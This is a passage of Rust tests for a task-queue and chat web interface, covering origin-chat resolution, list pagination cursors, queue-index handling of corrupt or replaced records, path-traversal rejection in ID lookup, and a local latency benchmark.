23483        assert!(core[0].origin_chat.is_none());
23484        assert_eq!(core[0].record_revision, question_record_revision(&question));
23485        assert!(question_origins(State(ui.clone())).await.is_err());
23486        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
23487    }
23488
23489    #[tokio::test]
23490    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
23491        let home = tempfile::tempdir().unwrap();
23492        let ui = delta_test_ui(home.path());
23493        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
23494        let mut parent = Task::new(
23495            "parent".into(),
23496            "body".into(),
23497            PathBuf::from("/repo"),
23498            Source::Agent {
23499                run: chat.clone(),
23500                node: crate::queue::CHAT_NODE.into(),
23501            },
23502        );
23503        parent.id = "parent-task".into();
23504        parent.runs = vec!["parent-run".into()];
23505        ui.queue.put(&mut parent).unwrap();
23506        let mut previous = parent;
23507        for generation in 1..=2 {
23508            let mut child = Task::new(
23509                "child".into(),
23510                "body".into(),
23511                PathBuf::from("/repo"),
23512                Source::Human,
23513            );
23514            child.id = format!("child-task-{generation}");
23515            child.runs = vec![format!("child-run-{generation}")];
23516            child.followup = Some(crate::queue::FollowUp {
23517                origin_task: Some(previous.id.clone()),
23518                run: previous.runs[0].clone(),
23519                pr: String::new(),
23520                findings: vec![],
23521                generation,
23522            });
23523            ui.queue.put(&mut child).unwrap();
23524            previous = child;
23525        }
23526        // A run may have the same spelling as another task's id; its owner
23527        // must not override a typed task reference.
23528        let mut collision = Task::new(
23529            "collision".into(),
23530            String::new(),
23531            PathBuf::from("/repo"),
23532            Source::Human,
23533        );
23534        collision.id = "collision-task".into();
23535        collision.runs = vec![previous.id.clone()];
23536        ui.queue.put(&mut collision).unwrap();
23537        let mut questions = Vec::new();
23538        for (node, reference, expected, eligible) in [
23539            (crate::triage::NODE, previous.id.as_str(), true, false),
23540            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
23541            ("review", previous.runs[0].as_str(), true, true),
23542            (
23543                crate::bump::NOTICE_NODE,
23544                previous.runs[0].as_str(),
23545                true,
23546                false,
23547            ),
23548            // Identical text in the wrong reference namespace is not evidence.
23549            ("review", previous.id.as_str(), false, false),
23550            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
23551            ("review", "unrelated", false, false),
23552        ] {
23553            let mut q = Question::new(
23554                reference.into(),
23555                node.into(),
23556                "seat".into(),
23557                "Question".into(),
23558                String::new(),
23559                vec![],
23560            );
23561            ui.questions.put(&mut q).unwrap();
23562            questions.push((q, expected, eligible));
23563        }
23564        for (node, reference, associated, eligible) in [
23565            (crate::reconcile::NODE, previous.id.as_str(), true, false),
23566            (
23567                crate::reconcile::NODE,
23568                previous.runs[0].as_str(),
23569                false,
23570                true,
23571            ),
23572            ("implement", previous.id.as_str(), false, false),
23573        ] {
23574            let mut q = Question::new(
23575                reference.into(),
23576                node.into(),
23577                crate::reconcile::SEAT.into(),
23578                "Reconcile".into(),
23579                String::new(),
23580                vec![],
23581            );
23582            ui.questions.put(&mut q).unwrap();
23583            questions.push((q, associated, eligible));
23584        }
23585        let mut release = Question::new(
23586            "release-record".into(),
23587            crate::bump::NOTICE_NODE.into(),
23588            "release-watch".into(),
23589            "Release".into(),
23590            String::new(),
23591            vec![],
23592        );
23593        ui.questions.put(&mut release).unwrap();
23594        let watch = crate::release_watch::WatchState {
23595            question: Some(release.id.clone()),
23596            run: Some(previous.runs[0].clone()),
23597            held_task: Some(previous.id.clone()),
23598            ..Default::default()
23599        };
23600        let watch_dir = home.path().join("release-watch");
23601        std::fs::create_dir_all(&watch_dir).unwrap();
23602        let watch_path = watch_dir.join("watch.json");
23603        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23604        // Ordinary questions and bump notices do not need watch-store I/O.
23605        for batch in [
23606            Vec::new(),
23607            questions.iter().map(|(q, _, _)| q.clone()).collect(),
23608        ] {
23609            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
23610            assert!(watches.is_empty());
23611        }
23612        questions.push((release.clone(), true, false));
23613
23614        let views = questions_list(State(ui.clone())).await.unwrap().0;
23615        let origins = question_origins(State(ui.clone())).await.unwrap().0;
23616        for (q, associated, eligible) in &questions {
23617            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
23618            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
23619            let expected = associated.then_some(chat.as_str());
23620            assert_eq!(
23621                view.origin_chat.as_deref(),
23622                expected,
23623                "{} {}",
23624                q.node,
23625                q.run
23626            );
23627            assert_eq!(origin.origin_chat.as_deref(), expected);
23628            assert_eq!(view.origin_chat_closed, *associated);
23629            assert_eq!(origin.origin_chat_closed, *associated);
23630            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
23631            assert_eq!(origin.can_consult_chat, *eligible);
23632        }
23633        // Either saved link independently recovers a release question's owner.
23634        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
23635            let link = crate::release_watch::WatchState {
23636                run,
23637                held_task,
23638                ..watch.clone()
23639            };
23640            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
23641            let (tasks, talks, watches) =
23642                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23643            assert_eq!(
23644                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23645                    .unwrap()
23646                    .id,
23647                chat,
23648            );
23649            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
23650        }
23651        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23652        // Even identical duplicate records are ambiguous: ignore their links.
23653        let duplicate_path = watch_dir.join("duplicate.json");
23654        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
23655        let (tasks, talks, watches) =
23656            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23657        assert!(
23658            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23659                .is_none()
23660        );
23661        std::fs::remove_file(duplicate_path).unwrap();
23662        // Another explicit owner is a conflict even if it has no chat.
23663        let mut unrelated = Task::new(
23664            "other".into(),
23665            String::new(),
23666            PathBuf::from("/repo"),
23667            Source::Human,
23668        );
23669        unrelated.id = "unrelated-task".into();
23670        ui.queue.put(&mut unrelated).unwrap();
23671        let mut conflicting = watch.clone();
23672        conflicting.held_task = Some(unrelated.id);
23673        std::fs::write(
23674            watch_dir.join("conflict.json"),
23675            serde_json::to_vec(&conflicting).unwrap(),
23676        )
23677        .unwrap();
23678        let (tasks, talks, watches) =
23679            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
23680        assert!(
23681            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
23682                .is_none()
23683        );
23684        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
23685        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
23686        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
23687            assert!(origin.origin_chat.is_none());
23688            assert!(!origin.origin_chat_closed);
23689        }
23690    }
23691
23692    #[test]
23693    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
23694        let home = tempfile::tempdir().unwrap();
23695        let ui = delta_test_ui(home.path());
23696        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
23697        for i in 0..1000 {
23698            let mut task = Task::new(
23699                "unrelated".into(),
23700                "instruction ".repeat(256),
23701                PathBuf::from("/repo"),
23702                Source::Human,
23703            );
23704            task.id = format!("history-{i:04}");
23705            ui.queue.put(&mut task).unwrap();
23706            let id = seed_talk_at(&ui.talks, &task.id, "open");
23707            let mut talk = ui.talks.get(&id).unwrap();
23708            talk.pending = "history ".repeat(256);
23709            ui.talks.put(&mut talk).unwrap();
23710        }
23711        let mut parent = Task::new(
23712            "parent".into(),
23713            "body".into(),
23714            PathBuf::from("/repo"),
23715            Source::Agent {
23716                run: chat_id.clone(),
23717                node: crate::queue::CHAT_NODE.into(),
23718            },
23719        );
23720        parent.id = "task-parent".into();
23721        parent.runs = vec!["run-parent".into()];
23722        ui.queue.put(&mut parent).unwrap();
23723        let mut child = Task::new(
23724            "child".into(),
23725            "body".into(),
23726            PathBuf::from("/repo"),
23727            Source::Human,
23728        );
23729        child.id = "task-child".into();
23730        child.runs = vec!["run-child".into()];
23731        child.followup = Some(crate::queue::FollowUp {
23732            run: "run-parent".into(),
23733            origin_task: Some(parent.id.clone()),
23734            pr: "https://example.invalid/pr/1".into(),
23735            findings: vec![],
23736            generation: 1,
23737        });
23738        ui.queue.put(&mut child).unwrap();
23739        let mut question = Question::new(
23740            child.id.clone(),
23741            crate::conduct::NODE.into(),
23742            "seat".into(),
23743            "Continue?".into(),
23744            String::new(),
23745            vec![],
23746        );
23747        let (tasks, talks, _watches) =
23748            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23749        assert_eq!(tasks.len(), 2);
23750        assert_eq!(talks.len(), 1);
23751        assert_eq!(
23752            ui.monitor.queue_index.lock().unwrap().reparsed,
23753            0,
23754            "exact ancestry bypasses the index"
23755        );
23756        assert_eq!(
23757            crate::consult::origin_talk(&tasks, &talks, &question)
23758                .unwrap()
23759                .id,
23760            chat_id
23761        );
23762        question.run = "run-child".into();
23763        question.node = "review".into();
23764        for origin_task in [Some(parent.id.clone()), None] {
23765            child.followup.as_mut().unwrap().origin_task = origin_task;
23766            ui.queue.put(&mut child).unwrap();
23767            let (tasks, talks, _watches) =
23768                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23769            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
23770            let expected =
23771                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
23772                    .unwrap();
23773            assert_eq!(actual.id, expected.id);
23774            assert!(!actual.status.open());
23775            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23776            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23777            // Without Unix file identity, every readable record must be
23778            // reparsed to detect same-size, same-mtime replacements safely.
23779            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
23780            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23781        }
23782        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
23783        ui.queue.put(&mut child).unwrap();
23784        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
23785        let (tasks, talks, _watches) =
23786            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23787        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23788        child.origin_chat = Some(chat_id.clone());
23789        ui.queue.put(&mut child).unwrap();
23790        let (tasks, talks, _watches) =
23791            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23792        assert_eq!(
23793            crate::consult::origin_talk(&tasks, &talks, &question)
23794                .unwrap()
23795                .id,
23796            chat_id
23797        );
23798        let revision = question_record_revision(&question);
23799        question.abandon("settled elsewhere");
23800        assert_ne!(revision, question_record_revision(&question));
23801        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
23802        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
23803        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
23804        let (tasks, talks, _watches) =
23805            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
23806        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
23807    }
23808
23809    #[test]
23810    fn list_cursors_freeze_membership_and_expire_explicitly() {
23811        let home = tempfile::tempdir().unwrap();
23812        let ui = delta_test_ui(home.path());
23813        std::fs::create_dir_all(ui.queue.root()).unwrap();
23814        for i in 0..40 {
23815            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
23816        }
23817        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
23818        assert_eq!(first.len(), STORE_PAGE_SIZE);
23819        let cursor = cursor.unwrap();
23820        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
23821        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
23822        let (second, _) = page_ids(
23823            &ui,
23824            false,
23825            PageQuery {
23826                before: Some(cursor.clone()),
23827            },
23828        )
23829        .unwrap();
23830        assert_eq!(second[0], "record-0023");
23831        assert!(second.iter().all(|id| !first.contains(id)));
23832        assert!(
23833            page_ids(
23834                &ui,
23835                true,
23836                PageQuery {
23837                    before: Some(cursor.clone())
23838                }
23839            )
23840            .is_err()
23841        );
23842        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
23843        assert_eq!(fresh[0], "record-9999");
23844        ui.monitor.list_walks.lock().unwrap().clear();
23845        assert!(
23846            page_ids(
23847                &ui,
23848                false,
23849                PageQuery {
23850                    before: Some(cursor)
23851                }
23852            )
23853            .is_err()
23854        );
23855    }
23856
23857    #[tokio::test]
23858    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
23859        let home = tempfile::tempdir().unwrap();
23860        let ui = delta_test_ui(home.path());
23861        let mut task = Task::new(
23862            "task".into(),
23863            "body".into(),
23864            PathBuf::from("/repo"),
23865            Source::Human,
23866        );
23867        ui.queue.put(&mut task).unwrap();
23868        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23869        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
23870        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
23871        let expected = parsed + usize::from(!cfg!(unix));
23872        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
23873        task.status = crate::queue::TaskStatus::Held;
23874        ui.queue.put(&mut task).unwrap();
23875        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23876        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
23877        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
23878        ui.queue.put(&mut task).unwrap();
23879        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
23880        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
23881        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
23882    }
23883
23884    #[tokio::test]
23885    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
23886        let home = tempfile::tempdir().unwrap();
23887        let ui = delta_test_ui(home.path());
23888        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
23889        let before = health(State(ui.clone())).await.unwrap().0;
23890        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
23891        let after = health(State(ui)).await.unwrap().0;
23892        assert_ne!(before.notifications_rev, after.notifications_rev);
23893        assert_eq!(after.notifications_unread, 1);
23894    }
23895
23896    #[tokio::test]
23897    async fn list_pages_bound_history_and_keep_dependency_evidence() {
23898        let home = tempfile::tempdir().unwrap();
23899        let ui = delta_test_ui(home.path());
23900        let queue = &ui.queue;
23901        let talks = &ui.talks;
23902        for i in 0..1000 {
23903            let id = format!("20261019-{i:06}-page");
23904            let mut task = Task::new(
23905                "task".into(),
23906                "instruction".repeat(100),
23907                PathBuf::from("/repo/magi"),
23908                Source::Human,
23909            );
23910            task.id = id.clone();
23911            if i == 0 {
23912                task.status = crate::queue::TaskStatus::Held;
23913            } else if i == 999 {
23914                task.status = crate::queue::TaskStatus::Blocked;
23915                task.blocked_by = vec!["20261019-000000-page".into()];
23916            }
23917            queue.put(&mut task).unwrap();
23918            seed_talk_at(talks, &id, "open");
23919        }
23920        let page = serde_json::to_value(
23921            queue_page(State(ui.clone()), Query(PageQuery::default()))
23922                .await
23923                .unwrap()
23924                .0,
23925        )
23926        .unwrap();
23927        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23928        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
23929        assert!(
23930            !page["rows"][0]["stuck_roots"]
23931                .as_array()
23932                .unwrap()
23933                .is_empty()
23934        );
23935        let cursor = page["next"].as_str().unwrap();
23936        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
23937            .as_str()
23938            .unwrap();
23939        // Deleting an already enumerated file cannot shift or repeat a page.
23940        std::fs::remove_file(queue.path_of(last_id)).unwrap();
23941        let next = serde_json::to_value(
23942            queue_page(
23943                State(ui.clone()),
23944                Query(PageQuery {
23945                    before: Some(cursor.into()),
23946                }),
23947            )
23948            .await
23949            .unwrap()
23950            .0,
23951        )
23952        .unwrap();
23953        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23954        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
23955        let chats = serde_json::to_value(
23956            talks_page(State(ui.clone()), Query(PageQuery::default()))
23957                .await
23958                .unwrap()
23959                .0,
23960        )
23961        .unwrap();
23962        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
23963        assert!(chats["rows"][0].get("pending").is_none());
23964        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
23965        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
23966        assert_eq!(counts["held"], 1);
23967        assert_eq!(counts["blocked"], 1);
23968        assert_eq!(counts["queued"], 997);
23969    }
23970
23971    #[test]
23972    fn queue_index_observes_external_replacement_deletion_and_corruption() {
23973        let dir = tempfile::tempdir().unwrap();
23974        let ui = delta_test_ui(dir.path());
23975        let mut task = Task::new(
23976            "task".into(),
23977            "body".into(),
23978            PathBuf::from("/repo"),
23979            Source::Human,
23980        );
23981        task.runs = vec!["run-a".into()];
23982        ui.queue.put(&mut task).unwrap();
23983        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
23984        task.runs = vec!["run-b".into()];
23985        let path = ui.queue.path_of(&task.id);
23986        let modified = path.metadata().unwrap().modified().unwrap();
23987        let replacement = path.with_extension("replacement");
23988        let bytes = serde_json::to_vec_pretty(&task).unwrap();
23989        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
23990        std::fs::write(&replacement, &bytes).unwrap();
23991        std::fs::File::options()
23992            .write(true)
23993            .open(&replacement)
23994            .unwrap()
23995            .set_times(std::fs::FileTimes::new().set_modified(modified))
23996            .unwrap();
23997        std::fs::rename(&replacement, &path).unwrap();
23998        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
23999        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24000        std::fs::write(&path, "broken").unwrap();
24001        assert!(ui.find_task_for_run("run-b").is_err());
24002        std::fs::write(&path, bytes).unwrap();
24003        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
24004        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
24005        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
24006    }
24007
24008    #[tokio::test]
24009    async fn conversation_core_is_independent_of_unreadable_related_history() {
24010        let home = tempfile::tempdir().unwrap();
24011        let ui = delta_test_ui(home.path());
24012        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24013        std::fs::create_dir_all(ui.queue.root()).unwrap();
24014        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
24015        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
24016            .await
24017            .unwrap();
24018        assert_eq!(core.talk.id, id);
24019        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
24020    }
24021
24022    #[tokio::test]
24023    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
24024        let home = tempfile::tempdir().unwrap();
24025        let ui = delta_test_ui(home.path());
24026        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24027        let mut run = RunState::new(
24028            PathBuf::from("/repo"),
24029            "main".into(),
24030            "01234567".into(),
24031            "Useful run".into(),
24032            Config::default(),
24033        );
24034        run.save_under(home.path()).unwrap();
24035        let mut task = Task::new(
24036            "Related".into(),
24037            "body".into(),
24038            PathBuf::from("/repo"),
24039            Source::Agent {
24040                run: talk_id.clone(),
24041                node: "chat".into(),
24042            },
24043        );
24044        task.runs = vec![run.id.clone()];
24045        ui.queue.put(&mut task).unwrap();
24046        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
24047        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
24048        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
24049        assert!(
24050            run_detail(State(ui.clone()), Path(run.id.clone()))
24051                .await
24052                .is_ok()
24053        );
24054        assert!(
24055            talk_sections(State(ui.clone()), Path(talk_id.clone()))
24056                .await
24057                .is_ok()
24058        );
24059        // Previously indexed corruption must not masquerade as no relationship.
24060        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
24061        assert!(ui.find_task_for_run(&run.id).is_err());
24062        assert!(ui.find_tasks_for_talk(&talk_id).is_err());
24063        ui.queue.put(&mut task).unwrap();
24064        assert!(ui.find_task_for_run(&run.id).unwrap().is_some());
24065    }
24066
24067    #[tokio::test]
24068    async fn conversation_sections_omit_large_task_instructions() {
24069        let home = tempfile::tempdir().unwrap();
24070        let ui = delta_test_ui(home.path());
24071        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24072        let mut task = Task::new(
24073            "filed task".into(),
24074            "large instruction ".repeat(65536),
24075            PathBuf::from("/repo"),
24076            Source::Agent {
24077                run: id.clone(),
24078                node: "chat".into(),
24079            },
24080        );
24081        ui.queue.put(&mut task).unwrap();
24082        let Json(sections) = talk_sections(State(ui), Path(id)).await.unwrap();
24083        assert_eq!(sections["tasks"][0]["id"], task.id);
24084        assert_eq!(sections["tasks"][0]["status_str"], task.status.as_str());
24085        assert!(sections["tasks"][0].get("instruction").is_none());
24086        assert!(serde_json::to_vec(&sections).unwrap().len() < 8192);
24087    }
24088
24089    #[test]
24090    fn exact_record_lookup_rejects_paths_and_preserves_short_id_ambiguity() {
24091        let home = tempfile::tempdir().unwrap();
24092        let talks = Talks::at(home.path().join("talks"));
24093        seed_talk_at(&talks, "20261019-000001-abcd", "open");
24094        seed_talk_at(&talks, "20261019-000002-abcd", "open");
24095        std::fs::write(home.path().join("outside.json"), "{}").unwrap();
24096        assert!(resolve_talk(&talks, "../outside").is_err());
24097        assert!(resolve_talk(&talks, "abcd").is_err());
24098        assert_eq!(
24099            resolve_talk(&talks, "20261019-000001-abcd").unwrap(),
24100            "20261019-000001-abcd"
24101        );
24102    }
24103
24104    include!(concat!(
24105        env!("CARGO_MANIFEST_DIR"),
24106        "/tests/web_latency/baseline.rs"
24107    ));
24108
24109    include!(concat!(
24110        env!("CARGO_MANIFEST_DIR"),
24111        "/tests/web_latency/lists.rs"
24112    ));
24113
24114    #[tokio::test]
24115    #[ignore = "local performance measurement; see docs/web-responsiveness.md"]
24116    async fn web_history_latency_measurement() {
24117        use std::time::Instant;
24118        let home = tempfile::tempdir().unwrap();
24119        let ui = delta_test_ui(home.path());
24120        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
24121        let mut template = ui.talks.get(&id).unwrap();
24122        template.turns = serde_json::from_value(serde_json::json!([{
24123            "who": "operator", "body": "Show the accumulated work and its current status.",
24124            "at": Timestamp::now().to_string(),
24125        }]))
24126        .unwrap();
24127        std::fs::write(
24128            ui.talks.path_of(&id),
24129            serde_json::to_vec(&template).unwrap(),
24130        )
24131        .unwrap();
24132        let count = std::env::var("MAGI_BENCH_RECORDS")
24133            .ok()
24134            .and_then(|s| s.parse::<usize>().ok())
24135            .unwrap_or(1000);
24136        for i in 0..count {
24137            template.id = format!("20261019-{i:06}-history");
24138            template.pending = "history ".repeat(2048);
24139            std::fs::write(
24140                ui.talks.path_of(&template.id),
24141                serde_json::to_vec(&template).unwrap(),
24142            )
24143            .unwrap();
24144            let mut task = Task::new(
24145                "old task".into(),
24146                "instruction ".repeat(2048),
24147                PathBuf::from("/repo"),
24148                Source::Human,
24149            );
24150            task.id = format!("20261019-{i:06}-task");
24151            ui.queue.put(&mut task).unwrap();
24152        }
24153        for baseline in [true, false] {
24154            for clients in [1, 4] {
24155                let parsed_before = ui.monitor.queue_index.lock().unwrap().reparsed;
24156                let mut samples = Vec::new();
24157                for _ in 0..12 {
24158                    let mut jobs = Vec::new();
24159                    for _ in 0..clients {
24160                        let ui = ui.clone();
24161                        let id = id.clone();
24162                        jobs.push(tokio::spawn(async move {
24163                            let start = Instant::now();
24164                            if baseline {
24165                                let response =
24166                                    baseline_talk_detail(State(ui), Path(id)).await.unwrap().0;
24167                                let elapsed = start.elapsed().as_secs_f64() * 1000.0;
24168                                return (
24169                                    elapsed,
24170                                    elapsed,
24171                                    serde_json::to_vec(&response).unwrap().len(),
24172                                );
24173                            }
24174                            let core = talk_core(State(ui.clone()), Path(id.clone()));
24175                            let secondary = talk_sections(State(ui), Path(id));
24176                            let (first, total) = tokio::join!(
24177                                async {
24178                                    let value = core.await.unwrap().0;
24179                                    (
24180                                        start.elapsed().as_secs_f64() * 1000.0,
24181                                        serde_json::to_vec(&value).unwrap().len(),
24182                                    )
24183                                },
24184                                async {
24185                                    let value = secondary.await.unwrap().0;
24186                                    (
24187                                        start.elapsed().as_secs_f64() * 1000.0,
24188                                        serde_json::to_vec(&value).unwrap().len(),
24189                                    )
24190                                }
24191                            );
24192                            (first.0, first.0.max(total.0), first.1 + total.1)
24193                        }));
24194                    }
24195                    for job in jobs {
24196                        samples.push(job.await.unwrap());
24197                    }
24198                }
24199                let mut first: Vec<_> = samples.iter().map(|s| s.0).collect();
24200                let mut total: Vec<_> = samples.iter().map(|s| s.1).collect();
24201                first.sort_by(f64::total_cmp);
24202                total.sort_by(f64::total_cmp);
24203                let n = first.len();
24204                let parsed = ui.monitor.queue_index.lock().unwrap().reparsed - parsed_before;
24205                println!(
24206                    "baseline={baseline} records={count} clients={clients} first_ms p50={:.2} p95={:.2}; complete_ms p50={:.2} p95={:.2}; bytes={}; indexed_task_parses={parsed}",
24207                    first[n / 2],
24208                    first[(n * 95 / 100).min(n - 1)],
24209                    total[n / 2],
24210                    total[(n * 95 / 100).min(n - 1)],
24211                    samples[0].2
24212                );
24213            }
24214        }
24215    }
24216
24217    #[test]
24218    fn app_js_contains_progressive_rendering_and_decoupled_reports() {
24219        // Assert that app.js decouples loadRun and does not block on Promise.allSettled for reports
24220        assert!(!APP_JS.contains("Promise.allSettled([\n    getJson(API.run(id)), getText(API.report(id)), getJson(API.reportJson(id))"));
24221        assert!(APP_JS.contains("function nextRunRequest(id)"));
24222        assert!(APP_JS.contains("function runShell(id, summary)"));
24223        assert!(APP_JS.contains("function nextTaskRequest(id)"));
24224        assert!(APP_JS.contains("function taskShell(id, summary)"));
24225        assert!(APP_JS.contains("state.detail.reportLoading = false;"));
24226    }
24227}